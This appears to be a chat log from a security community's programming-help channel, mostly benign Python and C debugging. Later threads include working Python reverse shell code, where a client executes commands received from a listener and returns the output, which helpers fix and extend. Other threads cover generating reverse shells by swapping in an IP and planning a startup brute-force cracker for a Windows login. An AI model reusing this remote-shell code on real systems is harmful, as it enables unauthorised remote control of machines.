[rustic skiff]

hi guys, i hope all doing great. I need an off-line library which function like a basic search engine. Can be updated manually or better automatically syncronized with defined web site, sites. Which language should i work on for this project??

[magic falcon]

You need to define your requirements better. You are expecting an off-line library to search websites?

[rustic skiff]

I am trying to create my own law archive. By saying update from websites, i meant to up to date legislations etc.

[onyx merlin]

Please keep room related help questions in the appropriate channels

[lilac holly]

You want to create everything from 0? A native app or a web app?

In the scenario you don't want to reinvent the wheel: Very likely there are open source wiki/search engine solutions out there that you could deploy then create scripts (python comes to mind as the ideal solution for this) to carry out the ETL process and populate a DB with the info you want.

[rustic skiff]

What if i want to invent a square shaped wheel

What it takes from me, is it worth it

[lilac holly]

you can go ahead and do it! But please, don't expose whatever you create to internet

(In the literal sense of course. Really. Not a good idea to expose the app to 0.0.0.0/0)

[rustic skiff]

I will use it just for personal perposes

[rustic skiff]

Would i do it from zero with python?

[magic falcon]

This is actually fine so long as the device is behind the firewall and doesn't expose to public facing.

The only way to know if a product is worth anything is to actually make it. You don't know if the wheel is square until you finish a design and implement it.

[lilac holly]

Take into account it might take you a looong time to create something like you want. You can do it 100% with python.

[rustic skiff]

True, maybe it will be a box

[rustic skiff]

Can i also add it AI

How people implement AI with coding

Machine learning might be the term i was looking for😄

[lilac holly]

You could you could. When it comes to the "search" part of your app, that's where AI would fit.

You're far better off implementing something made by someone else with a library because doing that from scratch....you need to understand some specific math topics...adding more time to the equation.

[magic falcon]

ML doesn't really do search. You could use ML to classify a bunch of the input data, but search is a different branch of AI.

[lilac holly]

(And tbf...I don't think you are going to finish the project if you are doing it alone)

[lilac holly]

I gotta brush up on that hierarchy...always forget that fact 🥲

[rustic skiff]

Thank you for your guidance, may the force be with you

[silk hemlock]

any tips on how to make python wait for netcat to connect? I need it to wait for a prompt, input some data, read the output and close the connection. I've tried pexpect but it doesn't seem to work

[onyx merlin]

Why are you wrapping netcat? Do socket IO and then it's all in python.

[silk hemlock]

ny instructions include netcat command to connect, but I guess you're right, I can convert it

[queen salmon]

i hope somebody can help me here:
i have got a ciphertext and parts of the key.
I want to xor a part of the ciphertext with the key, then shift the position xor again. and at each step i wanna see if it is decodable to ascii, and print it.
i am using python and so far i am fighting with ValueErrors 😄

So basically i want to find the position, where i can start xor the key with the whole ciphertext. The key is also much much longer than the ciphertext. I hope it makes sense

[true pumice]

hi, cannot send you a message

[lilac holly]

hey guys while i was coding in python i came across to a weird thing. Whenever i store input in variables, without even using the print() they get executed

[rustic skiff]

Its great men thank you. Yes, i just do it in app future

[wispy kestrel]

Gave +1 Rep to @queen jolt

[halcyon sphinx]

Ahhh dude, you are using input so it will ask for a prompt, using input will ask prompt even if you dont use print.

[lilac holly]

yeah but it is in a variable

[onyx merlin]

No it's not? What's "it"?

[halcyon sphinx]

Dude it will not print the value of input, it will only show the sentence that you mentioned and that it "do you want... "

[lilac holly]

all those inputs

[halcyon sphinx]

Do once with print and without print, hopefully it will clear your doubts

[onyx merlin]

They are stored to inputs. But input() takes a string parameter which is a prompt to print.

[lilac holly]

now i am using pycharm

on vscode it does weird things

but it is more likely that i am wrong

if i have a listener and a payload in python using socket and ssl should i pack the ssl certificate into a variable to use it when its executed on a machine or should the client request the certificate and if the second how does the server detect that the client doesnt wants to further communicate and only get the certificate to connect with it again? should the server just try to send a test message and if a exception is raised it will understand that the client disconnected?

if I have a list 3 numbers in python and a function which takes 3 numbers as parameters, can I do something similar to function_call(nums[:]) instead of passing them inside one by one?

nvm got it

[vernal vigil]

Just pass the list and unpack the values?

[stray pagoda]

.

[proven zealot]

After defining a function in an if in python, can I call the function inside another if?

[onyx merlin]

You may wish to read about variable scope.
You can also try it by making a very simple example.

[untold iris]

Why not just make the function global?

But yes you can

[stray pagoda]

hello guys

can anyone enlighten me regarding the curl command?

I found this command on the net.
curl -X POST <IP> -d 'method=GET&file=abc'
It is a HTTP post request. I wonder what method=GET does here. After all, with -d you append more data to your request. But I thought this is a POST request. Why does it say GET?

[brazen eagle]

-d will add stuff in the body of the request. Perhaps the service uses that parameter?

[onyx merlin]

It is a post request

[magic falcon]

if you are unsure of how your curl command is actually rendered, you can set the curl proxy flag and argument to use burp to intercept it

[onyx merlin]

there's just a parameter called method that's set to GET

[stray pagoda]

yeah, there is a <form> with the method=get

kk thanks

[onyx merlin]

method in the header is different

Like in the form element

If it says method="GET" then it's a get request.

It's not sent as part of the form data

[stray pagoda]

so the http request is POST, and the formular method ist GET. am i understanding this correctly?

[onyx merlin]

No, not at all

[stray pagoda]

hmm

[onyx merlin]

That CURL command just adds a form parameter called method

It's unrelated to the HTTP method in use

[magic falcon]

Just intercept your curl command in burp. What James' is telling you will become immediately apparent and visible.

[stray pagoda]

I have not yet had a BURP. That will come in one of the next modules.

[stray pagoda]

ok http-get has nothing to do with form method-get.

[onyx merlin]

No

That's not what I'm saying

Do you understand how form data is sent?

Specifically url encoded form data?

[stray pagoda]

ok, sorry i'm a bit stumped 😄

[stray pagoda]

no

[onyx merlin]

There's your problem then

-d 'method=GET&file=abc' could be changed to -d 'method=BUTTSlol&file=abc'

It's just a parameter sent as part of the form data

[stray pagoda]

querystrings right?

[onyx merlin]

URL encoded form data is basically the same as query strings, but it depends where it goes in the request

[stray pagoda]

the server recognizes the parameter 'method' and then reads the value 'GET'.

[onyx merlin]

Yeah, because it's understanding the form data

It's not related at all to the HTTP method

[stray pagoda]

I think I'm beginning to understand.

if there were no formular, HTTP Post would not make sense in this case, correct? And the parameter 'method' would not be recognized either (unless the server was implemented to recognize this parameter).

[onyx merlin]

You can make a HTTP post request without form data.

[stray pagoda]

I can let the server recognize any parameter, e.g. 'foo'. Just have to implement it.

PHP
include($__GET['foo']) or something like that

[stray pagoda]

yes, sure, depends on what the server does when it gets a POST.

I'm still relatively new to this. But thanks for the help. That brings me a lot!

[stable summit]

Hello, i am very new to coding and have only taken a few rudimentary classes, and most of what i know (which is not a lot) has been self taught. I am trying to code a brute force password cracker and i am fairly certain i can do it, i just need to find out how to make the program run right when the computer is turned on. I am not planing on using this code maliciously i just want to see if i can do it.

[stray pagoda]

which language are you using?

[stable summit]

I am using Python.

[stray pagoda]

what are u trying to bf?

which pw

[stable summit]

Sorry i am unfamiliar with pw

[stray pagoda]

pw = password

which passwords do you want to crack

[stable summit]

my home computers

[stray pagoda]

login credentials of windows/linux? Password protected folders?

[stable summit]

login of windows

i just want to get the password i’m putting in the email

or Chrome if that is easier

[stray pagoda]

I think at the very beginning you can build a general bruteforce tool without a concrete target. A permutation from all given characters + the possibility to specify word lists.

then if you want to test it against a target, you can create password-protected ZIP folders and apply your tool.

[stable summit]

how would i add a target i think i know how to make it without a target but how would i apply one?

[stray pagoda]

That would be the next task I think.

one thing at a time 😄 my humble advice.

[stable summit]

well the code for that in python is not that hard and i already picture it in my head

but thanks i will come back when i write the beginning of the code

I was using mingw-w64-x86_64-arm-none-eabi-gdb before but that one seems to close immediately and gave me problems debugging the target. I'm not sure if this is an old package? The mingw-w64-x86_64-gdb-multiarch does seem to work.

[short lily]

for o, a in opts:
#someone please explain me this for loop its in python?

Specially that o,a means?

[halcyon sphinx]

o, a are the variables used to store values from list, tuples, or group of values

[halcyon sphinx]

First understand loop, loop can be used to iterate over a list of items and perform a set of actions on each item

[true pumice]

It all depends what opts is in that situation

[true pumice]

For example:

for k,v in dict:
This is used a lot, k stands for key and v stands for value.

Dictionaries (dict) uses key, value pairs to store the data.

Look at it this way:
dict = {“key”: “value”}

If you were to loop over it as
for data in dictionary:
It would return the data pair of key:value

But, we use dictionaries to store data so that we can match a value to a key so sometimes we want those values separately to manipulate or for comparison.

We would do it like this:
car_wheels = {“wheels”: 4}

for key, value in car_wheels:
if value == 4:
print(“this car has four wheels!”)

[flint sedge]

Hi. I'm trying to build a chat using Python, I'm trying to have one thread for sending messages and one thread for receiving messages but messages dont seem to go through

server.py:

from socket import *
import threading

server = socket(AF_INET, SOCK_STREAM)
server.bind(("", 4444))
server.listen(5)


def acceptmessages():
    while True:
        data = client.recv(2048).decode()
        print(data)

def sendmessages():
    while True:
        msg = input("Enter message > ").encode()
        client.sendall(msg)

client, addr = server.accept()
print("New connection from Address: {0}".format(addr))

threading.Thread(target=sendmessages(), args=())
threading.Thread(target=acceptmessages(),args=())

client.py:

from socket import *
import threading

client = socket(AF_INET, SOCK_STREAM)
client.connect(("10.0.0.5", 4444))


def acceptmessages():
    while True:
        data = client.recv(2048).decode()
        print(data)

def sendmessages():
    while True:
        msg = input("Enter message > ").encode()
        client.sendall(msg)

threading.Thread(target=sendmessages(), args=())
threading.Thread(target=acceptmessages(),args=())

[true pumice]

This isn’t 100% your code is it?

[flint sedge]

I wrote it from scratch actually

Had a small error where I had to Google and I saw I wrote server.connect() instead of server.accept()

I wrote this code after a lesson about sockets and threads

[flint sedge]

nobody?

[faint sparrow]

@flint sedge your problem is that you're calling the functions when you should be passing just the function as the thread target:

threading.Thread(target=sendmessages(), args=()) # this first calls sendmessages() and waits for it to return a value which will then be passed into Thread

threading.Thread(target=sendmessages, args=()) # this passes sendmessages itself as a target so the thread can run that function separately

threading.Thread(target=sendmessages) # args=() is redundant as by default it doesn't pass any arguments anyway

another problem is you're just instantiating the threads but not starting them: ```py
threading.Thread(target=sendmessages) # This just creates a thread instance, but it's not actually running

t = threading.Thread(target=sendmessages)
t.start() # This starts the thread

[flint sedge]

Oh I actually tried moving the functions without the parenthesis but it also didnt work since I start the threads

it works, thanks!

Although, how come it prompted me to enter a message despite not starting that thread?

[onyx merlin]

Because you called the function

So instead of using the function itself, it was calling the function and using the return value as the target for the thread

[flint sedge]

Oh, so I called the function from inside the thread argument, making the program stuck in an infinite loop of sendmessage's while loop, on the main thread.

Got it, Thanks!

Do you have anything running on port 7778? @safe wind

[safe wind]

no

[true pumice]

Are you on Windows or Linux?

[safe wind]

macos

[true pumice]

Oh that's fine

Open your terminal and type python -m http.server 7778 and re-run the code

I think I know your issue

You close the connection a lot of times throughout, I'm pretty sure that it's related to you closing the connection, but then another part of the code is being hit, which is subsequently failing because the connection is closed

[safe wind]

look, if my server script is runing every thing is ok, but i want this script to try to conect then to retry

[true pumice]

Give me a moment to clean up your code to see if it is the problem:)

[safe wind]

like if host is down i want this script to keep going atempting to cennect

[true pumice]

@safe wind So, after taking a look, your code seems to have a lot of lines that aren't needed.
But, it does seem to be related to you closing the connection too early.

Instead of closing your connection as soon as it's refused, simply loop back around and try again.
Furthermore, you have two while True: statements, but only one of them is being executed because you cannot concurrently execute while statements (meaning one has to finish before the other one can start).

[safe wind]

if i do this

from time import sleep
PORT = 7733
HOST = 'localhost'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
while True:
    try:
        s.connect((HOST, PORT))
        s.send(b'hello')
        break
    except socket.error:
        pass
    sleep(1)
while True:
    data = s.recv(1024).decode('utf-8')
    print(data)
    s.send(b'[ OK ]')````

It still doesn’t seem to work

[true pumice]

Is there an error?

[safe wind]

No, but it’s not connecting to server script

HOST = ''
PORT = 7733

s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
try:
    s.bind((HOST, PORT))
    print('[ lisening ]')
    s.listen(10)
    conn, addr = s.accept()
    print(f'{addr} was cached!')
    data = conn.recv(1024).decode('UTF-8')
    while True:
        command = input('send>')
        conn.send(bytes(command, 'UTF-8'))
        data = conn.recv(1024).decode('UTF-8')
        print(data)

except KeyboardInterrupt: 
    print("...listener terminated using [ctrl+c], Shutting down!")
    exit() # Using [ctrl+c] will terminate the listener.
    
conn.close() # Close socket.````

[true pumice]

You haven't specified a host there?

[safe wind]

It means bind all interfaces

Like 0.0.0.0

[safe wind]

its ok , now it works

[plain crest]

[magic falcon]

If you have a question, it's best to just ask it

[raven hill]

https://dontasktoask.com/

[real iron]

does anybody know C

@true pumice #include <stdio.h>
#include <cs50.h>

int main(void)
{
int n = get_int("How many scores? ");

int scores[n];

for (int i = 0; i < n; i++)
{
    scores[i] = get_int("Score: ");
}

double average = (scores[0] + scores[1] + scores[2]) / 3.0;

printf("Average: %f\n", average);

}

i was just wondering how to finish this in this line double average = (scores[0] + scores[1] + scores[2]) / 3.0;

[true pumice]

Not sure I understand what you mean 😅

[real iron]

double average = (scores[i]) / n; i tried this and it dont work so i was just asking is there a way to add arrays together without doing it like this

scores[0] + scores[1] + scores[2]

[spice root]

I'm try to get a PID from an Process Name on aWindows device but I keep getting 0 :/

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <tchar.h>

DWORD find_process(char* process_name) {

PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

for (Process32First(snapshot, &pe); Process32Next(snapshot, &pe);) {
    if (strcmp(pe.szExeFile, process_name) == 0) {
        CloseHandle(snapshot);
        return pe.th32ProcessID;
    }
}

CloseHandle(snapshot);
return 0;

}

int _tmain(int argc, _TCHAR* argv[]) {
DWORD target_process_id = find_process("mspaint.exe");
printf("target process id is %d\n", target_process_id);
return 0;
}

please answer it only in C

[true pumice]

To get this straight, you're trying to find the average of scores?

[real iron]

yes

but prompting the user on how many scores and storing it into an array

[true pumice]

#include <stdio.h>
int main() {
    int n, i;
    float num[100], sum = 0.0, average;

    printf("How many scores? ");
    scanf("%d", &n);

    for (i = 0; i < n; ++i) {
        printf("%d. Enter number: ", i + 1);
        scanf("%f", &num[i]);
        sum += num[i];
    }

    average = sum / n;
    printf("Average = %.2f", average);
    return 0;
}

Something like that?

[real iron]

and then adding them together and dividing by how many scores they input

[real iron]

yes like that but like this #include <stdio.h>
#include <cs50.h>

int main(void)
{
int n = get_int("How many scores? ");

int scores[n];

for (int i = 0; i < n; i++)
{
    scores[i] = get_int("Score: ");
}

double average = ????????? / n;

printf("Average: %f\n", average);

}

in the question marks is the issue

[true pumice]

Do you need it in an array?

[real iron]

for example if they input 4 scores how would you add the arrays together

[onyx merlin]

Convert it to a float first

[onyx merlin]

A for loop

It's the same way you'd do it in Python etc too

[true pumice]

But, can I ask, do you need to do it in an array?
Are you going to use it for something else?

[onyx merlin]

Should definitely be an array rather than like "score1=10"

[true pumice]

Just seems really weird to me to save the scores to an array to then find the average

But maybe that's just how I'm hardcoded to write code

[real iron]

because he said for example you dont want to make 100 variables for score1 score2 ..

[onyx merlin]

Yeah that's a good thought, certainly if you only want the mean.
Just add them all to a cumulative total and increment a country to see how many numbers you've got.

If you wanted the median or mode, you'd need them in arrays

[real iron]

#include <stdio.h>
#include <cs50.h>

int main(void)
{
int scores[3];

scores[0] = get_int("Score 1: ");
scores[1] = get_int("Score 2: ");
scores[2] = get_int("Score 3: ");

double average = (scores[0] + scores[1] + scores[2]) / 3.0;

printf("Average: %f\n", average);

}

[onyx merlin]

Gross

That's nasty code

[real iron]

im trying to do it like this but it isnt working

#include <stdio.h>
#include <cs50.h>

int main(void)
{
int n = get_int("How many scores? ");

int scores[n];

for (int i = 0; i < n; i++)
{
    scores[i] = get_int("Score: ");
}

double average = (scores[i]) / n;

printf("Average: %f\n", average);

}

[onyx merlin]

There's a principle called DRY - Don't repeat yourself.
The way you're assigning the scores is nasty and repetitive

That is slightly better.
What's not working?

[real iron]

double average = (scores[i]) / n; <---------- this line isnt working

[onyx merlin]

"not working" is incredibly vague and doesn't help us

[real iron]

im trying to replace this double average = (scores[0] + scores[1] + scores[2]) / 3.0;

[onyx merlin]

Tell us what's happening, why you think it's not working, what do you expect and how is it differing from that expectation

Are you getting an error? A wrong number?

[onyx merlin]

You're getting an item from the array there

[real iron]

arrays.c:15:30: error: use of undeclared identifier 'i'
double average = (scores[i]) / n;
^
1 error generated.

[onyx merlin]

You need to total up all the items in the array, them divide

[onyx merlin]

Do you understand variable scope?

[real iron]

no i dont think so

[onyx merlin]

Then you have a problem

You can't access your counter variable, i, outside your for loop.
Even if you could, you'd just get the last value in the list which would give you a wildly incorrect value.

[real iron]

oh yes i understand that

a for loop has the variable stored inside the curly braces so you cant use it again later

sorry i mean a for loop

[onyx merlin]

This is a for loop.

Variable scope is very important to understand

[real iron]

but what i was asking is how can you add the arrays together with a loop

[onyx merlin]

Have you learnt about problem decomposition yet? Breaking a problem down into smaller parts?

You don't want to add multiple arrays together because you don't have multiple arrays.
You just want to loop through the array and add values to a total.
You can very easily either work out how to do that, or google it.

[real iron]

okay thanks, yeah thats what i want is to add the values of the arrays together with a loop not by typing them 1 by 1

[wispy kestrel]

Gave +1 Rep to @onyx merlin

[onyx merlin]

You can google that.
"Loop through an array C" will give you the answer.
Programming and hacking both absolutely require research and reading skills.

[real iron]

yeah okay thanks i just didnt know exactly what to search for sometimes so its faster to just ask someone

[magic falcon]

Honestly, you don't really need to any research on C to do this task. The parts of the C language you'd need are all very introductory; if you want a better solution, or if your solution isn't working, you aren't thinking deeply enough about the problem you are solving. Work out your approach on paper first; that way, you are only solving 1 thing at a time.

[onyx merlin]

Don't do that.
Make a best guess google search and refine it.
You're doing the absolute basics here, they're easy to find online

[magic falcon]

Especially when learning a new programming language, minimizing the mental burden of 'solve problem' and 'do it in this language' is important. You are learning a language; solve the problem first, then figure out how to represent your solution in code.

[onyx merlin]

Learning to break down problems into smaller parts is a really really good skill that will help you in many places in life

[real iron]

okay thanks for the tips and advice

[real iron]

#include <stdio.h>
#include <cs50.h>

int main(void)
{

int n = get_int("How many scores? ");

int scores[n], sum = 0;

for (int i = 0; i < n; i++)
{
    scores[i] = get_int("Score: ");
    sum = sum + scores[i];
}

double average = sum / n;

printf("Average: %.2f\n", average);

}

figured it out thanks

just had to make a new variable and add the arrays to it inside the loop simple as that

[onyx merlin]

Terminology is very important here.
You're not adding the arrays to it.
You're adding the elements to the total. An array consists of elements. The array is the collection

XML IS A BETTER PROGRAMMING LANGUAGE THAN HTML

AND PERL IS THE FUTURE

[silk lotus]

ok

Xml and html are markup languages

[inland hazel]

json obviously best programming language /joke

[heavy rampart]

Json is not a programming language. It stands for JavaScript Object Notation. It is used for data interchange.

[inland hazel]

yuup shadow knows this.... hence the joke part..... it is basicly just as accurate as the above statement that xml and html are programming languages

[brazen eagle]

joke goes whoosh

[shadow goblet]

same program but different outputs ; the z shell doesn't want to give any output after registrant info while the terminal in pycharm working well

the code :

[lilac holly]

class Joke {
public static void main(String[] args) {
System.out.println("IT WAS JUST A JOKE BRAH!");
}
}

[true pumice]

How are you running whois?

os.system ?

[shadow goblet]

just library import its in python

[true pumice]

But which one? 😄

Or are you using the Python whois library?

import pythonwhois
whois = pythonwhois.get_whois(domain)
for key in whois.keys():
  print "%s : %s \n" %(key, whois[key])

[shadow goblet]

nah just import whois

[true pumice]

Yeah, that's the Python3 version

[shadow goblet]

hmm ok

[true pumice]

There's a few reasons as to why

[shadow goblet]

but i still didn't get how the z shell now showing the registrant info but the shell in pycharm is

[true pumice]

How are you executing the script in your shell?

[shadow goblet]

python3 file.py --domain facebook.com

[true pumice]

One moment I'm reading the python3 documentation

[shadow goblet]

Hmm its weird does python3 version affects the library ?? cuz that's making the program to give different outputs

[violet whale]

Check out https://peps.python.org/pep-0498/

GitKraken. The account management is the single biggest reason I pay for it.

[stoic badger]

[magic falcon]

Also look into using at ticketing/issue tracking system to keep track of the work. Tie-ins to JIRA, Trello, Bugzilla are really common.

[true pumice]

This is cool! But can I give you a little criticism?
Don't use Camel case on function names.

Camel case is where the first character of a word is lowercase and every word after it has a capital letter at the beginning; likeThisForExample

The only reason is for readability. If both functions and variables follow the same name, it will become a little harder to read. Especially when you delve into classes or embedding functions into lists:

def ExampleFunction():
  return "Hello World"

exampleList = [ExampleFunction]
exampleList[0]() # Should print "Hello World" in the shell

If you were to use camel case on everything, especially in large files, it would be hard to tell the difference when using high-level programming techniques:

def exampleFunction(name):
  return "Hello, " + name

exampleVariable = "Jacob"
exampleList = [exampleVariable, exampleFunction]

exampleList[0] # This should run without a problem
exampleList[1] # This will display "<function function_name at stack>" instead of the desired value
exampleList[1]("Jeremy") # This will run as expected

Although this is a poor example, I hope you understand why I'm suggesting it.
If you were to look at that list with normal variable names, it would be slightly confusing as most people would not expect there to be an executable function in the list.

[onyx merlin]

https://peps.python.org/pep-0008/#function-and-variable-names

[spare swan]

Thank you! I'm new, so criticism is always helpful. I agree with you that it could make it harder to read, so I'll change that.

[wispy kestrel]

Gave +1 Rep to @true pumice

[spare swan]

I'll look in to that. Thank you too

[onyx merlin]

Also look into using a linter

It will look for things like this and complain at you

[spare swan]

Oh ok. Thats cool. Will try that too

[magic falcon]

Jabba's advice is good, but also stay aware that other languages have different standards for what is considered 'best practices' with respect to naming conventions, module organization, and codebase organization.
Some languages have historical reasons for the design decisions that don't necessarily apply any more, but some of the systems those languages are expected to interface with do have the legacy requirements still in place.

[true pumice]

Eh, yeah, as they were coding in Python I was only referring to Python, didn't think about the others.. whoops 😆

[magic falcon]

I got you 🙂 Intent was to clarify beyond python, especially since new programmers tend to make assumptions about similarity that aren't true

[true pumice]

Yeah, my brain is hard-coded for Python haha

[magic falcon]

Python is a super productive language to use; it's usually what I start any given project in until requirements evolve to a point where python isn't feasible anymore

IE, high amounts of compute, SIMD, or MIMD program architecture

[spare swan]

I was thinking of that. Right now I'm only writing python, but its great that you mentioned that since I'm not very good with styling in programming in general

[spare swan]

While I haven't used any other programming languages a lot, other than python, I also would say it's really productive to use. It's very easy to understand and simple to write.

I saw someone that said python was a bad language because it was "to easy" which I really don't get lmao

[magic falcon]

Python can be to easy, because there is a lot of things you are allowed to do in python that will make your programs non functional if you touch lower level languages

[spare swan]

In that case yes, but in the sense that its to easy to write or that it has a to easy syntax I don't think is valid in the context he was using, because good/"easy" syntax is positive if you're purely talking about how the language is written and not its features

I've heard that Rust has an easy to understand syntax yet it offers low level controls (could be wrong tho)

[spare swan]

    for row in allRows:
        if all(tile == row[0] for tile in row) and row[0] != " ":        <--------- This line gives me a RecursionError
            print_board()            
            print(f"{row[0]} won!")
            exit()```

this causes a recursion error, and i dont know why

row2 = [" ", " ", " "]
row3 = [" ", " ", " "]
allRows = [row1, row2, row3]

all() just returns True if all items are True. It goes through each tile (item) in each row to see if its the same as all the others

[vale cairn]

print what the output of tile == row[0] for tile in row is because if it isn't returning a list it won't be able to work with the all function

At least that's my guess as to why it isn't working

@spare swan

when in doubt, print it out

[spare swan]

Thanks, I forgot I could print it out lmao. I'll try that

[vale cairn]

lmk if it is just because it isn't returning a list because then I know if my guess was correct 🙂

[spare swan]

Row: [' ', ' ', ' ']



Row: ['X', ' ', ' ']
X


Row: [' ', ' ', ' ']



Row: [' ', ' ', ' ']



Row: ['X', ' ', ' ']
X


Row: [' ', ' ', ' ']



Row: [' ', ' ', ' ']



Row: ['X', ' ', ' ']
X


Row: [' ', ' ', ' ']



Row: [' ', ' ', ' ']



Row: ['X', ' ', ' ']
X


Row: [' ', ' ', ' ']



Row: [' ', ' ', ' ']



Row: ['X', ' ', ' ']
X


Row: [' ', ' ', ' ']



Row: [' ', ' ', ' ']```
well now i know why it was spewing out a recursion error

I told it to print out each row in the for loop and each tile in the other for loop

        print("Row: " + str(row))
        for tile in row:
            tile == row[0]
            print(tile)```
i had to change up the code and remove the all() to be able to print out

[vale cairn]

ahh

[spare swan]

why is it giving me recursion when im only printing out each row in allRows

its the same if i do for row in (row1, row2, row3): print(row)

it just keeps spamming

oh im such a dumbass. I was renaming the function names earlier and somehow renamed a function that was called in check_board(): to to check_board(): so it was recursive

[sick scarab]

So im trying to use the "argparse" library and im stuck on getting the value from the argument. I am taking in a pcap from the user but i am stuck on trying to pass the file to a function. Any tips? Also, I this is what the arguments look like:

parser = argparse.ArgumentParser()
parser.add_argument('-p', '--pcap', help='pcap file to read from', required=True, type=argparse.FileType('r'))
parser.add_argument('-o', '--output-file', help='output file to store TGS [DEFAULT IS <TGSoutput.txt>]', required=False, default='TGSoutput.txt', type=argparse.FileType('w'))
``` Then i have ```options = parser.parse_args()``` in my main function

        p = p->next;
        i++;
    }
    ptr->data = data;
    ptr->next = p->next;
    p->next = ptr;```

Suppose I give 3 as index as argument, so here in the while loop it will check for (index-1) i.e 3-1 = 2, so the loop will run two times... 

LINKS:

//head->next = second;
//second->next = third;
//third->next = fourth;
//fourth->next = NULL; ```

Now in the

1st run:

head = head->next;
i++
}```

2nd  run :

```while(1 !=0){
second = second->next;
i++;
}```

3rd run : 
Logical operator outputs 0 so while loop stops.

So the final value for p should be?

1. ```second = second->next ```
or
2. ```second = third ```

If we take p as in 1, then we have a variable whose value we can update but if we take 2nd case then, we will make a circular list?
Because when we will update the pointers in the next line.. they will point to one another.

In the last line of code snippet.

```ptr->next = p->next;
 p->next = ptr;```

here  what should we replace  p->next with? if we take p = second->next, then 

Would it be like :
```second ->next->next``` 
An extra next then it will be like third->next?

Or 
2. p->next completely replaced by just second->next ?
(no extra next's)

If we take the 2nd case then the code would work fine... But why the 1st case won't happen? We have a value for p and we substitute it?

TL;DR : I am asking should we take the extra next? Why, why not.

**THE CODE RUNS PERFECTLY FINE**

[brazen eagle]

why don't you try drawing it out on paper?

[magic falcon]

Second Hydra's suggestion. Drawing it out on paper or a whiteboard is one of the best things you can learn to do when you need to understand how an algorithm works.

[brazen eagle]

it's stupid but it's amazing how well it works

[magic falcon]

It's really not stupid though - visualization can really help bring it all together, especially when dealing with abstractions like pointers

[brazen eagle]

[halcyon sphinx]

ifconfig | grep -w 10.* | awk -F inet {'print $2'} actually i am trying to see my IP only using bash but i got this kind of output ```
<Tun0IP> netmask 255.255.0.0 destination <Tun0IP>

[magic falcon]

ifconfig is deprecated

[halcyon sphinx]

i am doing it locally

[magic falcon]

ok? how does that change ifconfig being deprecated?

[halcyon sphinx]

actually i thought that i should make a script that generates rev shell codes

[halcyon sphinx]

i mean it takes my IP and then generate it

[magic falcon]

many reverse shell source files have a variable that stores a dummy IP address. Get the IP of where the shell should reach out to, copy the original shell file, sed -i the dummy IP to your IP. It shouldn't be super difficult

[spare swan]

I'm having trouble with a reverse shell I'm making in python

def client_shell(c):
    while True:
        cmd = input(">>>")
        if cmd == "":continue
        else:c[0].send(cmd.encode())
        result = c[0].recv(1024).decode()
        print(result)
        if cmd.lower() in ["quit", "exit", "q", "e"]:
            break```

this is my side

[true pumice]

Are you looking to make a reverse shell or a tunnel?

[spare swan]

def get_command():
    while True:
        try:
            command = (s.recv(1024)).decode()
            output = shell(command)
            if output != "":s.send(output.encode())
        except:
            pass
            connect()```

[true pumice]

As in, one is the client & one is the server

[spare swan]

A tunnel, not a reverse shell

[true pumice]

What imports are you working with?

[spare swan]

subprocess for the shell commands, and socket for the connection

def shell(cmd):
    output = subprocess.run(cmd, capture_output=True, shell=True, text=True, encoding="cp850")
    return output.stdout```

the problem im facing is that whenever i send a command to the client, if the command is invalid, it doesnt send back an empty output, instead, the server side is stuck waiting for an answer

[spare swan]

I misspoke again. Its a reverse shell. The server is the listener and the client is the one connecting

[true pumice]

Hah, that's okay 😊

Give me a moment to load my IDE

[spare swan]

Sure

pc\smajl

>>>echo hi
hi

>>>jhnsdjfg
  ``` its just stuck at the end with a blank line waiting for output

[true pumice]

Okay, so

[true pumice]

Which is your client and which is your server?

I mean, in the code, not in what I replied to 😆

[spare swan]

### SERVER SIDE, starts a shell with connection from client (c)

def client_shell(c):
    while True:
        cmd = input(">>>")
        if cmd == "":continue
        else:c[0].send(cmd.encode())
        result = c[0].recv(1024).decode()
        print(result)
        if cmd.lower() in ["quit", "exit", "q", "e"]:
            break


### CLIENT SIDE, recieves command (1024 bytes) and runs it with a shell function i created, 
### then sends back the output of command to server

def get_command():
    while True:
        try:
            command = (s.recv(1024)).decode()
            output = shell(command)
            if output != "":s.send(output.encode())
        except:
            pass
            connect()

# Shell function, runs command (cmd) and returns output (stdout)

def shell(cmd):
    output = subprocess.run(cmd, capture_output=True, shell=True, text=True, encoding="cp850")
    return output.stdout```

this is not the entire file, i just took the relevant code snippets out and sent it as one message

I'm not sure if its the shell function or the s.send(output.encode) thing that is causing the server side shell to freeze

things like whoami and dir work perfectly, but it stops working whenever the command i give it is incorrect. When i tried using the shell function in python console using a command that doesnt exist, it just returns an empty "" output, which (i think) shouldn't be causing any errors

[true pumice]

ee

You're storing both client and server in the same file?

[spare swan]

No, i just took out code snippets and sent it as one message

[true pumice]

Oh, I see.

[spare swan]

Oh I didn't take a look at stderr. Thanks, ill see if i can fix it

[true pumice]

I don't think so

[spare swan]

CompletedProcess(args='dgfgmj', returncode=1, stdout='', stderr="'dgfgmj' is not recognized as an internal or external command,\noperable program or batch file.\n")
This is command that does not work
CompletedProcess(args='whoami', returncode=0, stdout='pc\\smajl\n', stderr='')
This is a working one

[true pumice]

I honestly need all of your code to debug, I can't do much with snippets, sorry

[onyx merlin]

return output.stdout+output.stderr

ezpz

[spare swan]

Ill test that

damn it actually worked lmao

[spare swan]

Thank you

[wispy kestrel]

Gave +1 Rep to @onyx merlin

[spare swan]

def shell(cmd):
    o = subprocess.run(cmd, capture_output=True, shell=True, text=True, encoding="cp850")
    if o.stdout != "" or o.stderr != "": return o.stdout + o.stderr
    else: return str(o.returncode)```
This is what i came up with in the end. It handles if you type a command correct, incorrect, or if you start a program

Because returning stderr + stdout didnt work if you did something like "notepad" because it returns both as empty, so instead i return a returncode which is never empty if both stdout and stderr is

[true pumice]

if len(PAYLOAD) > 0:
  command = subprocess.Popen(cmd[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
  output = str(command.stdout.read() + command.stderr.read(), "utf-8")

  SERVER.send(str.encode(output))
  print(output)

[spare swan]

Ill use that. Thank you

[wispy kestrel]

Gave +1 Rep to @true pumice

[onyx merlin]

I mean you can return nothing, that's not a problem

Nothing/empty string

[spare swan]

The problem is, whenever it does that, the console freezes for some reason

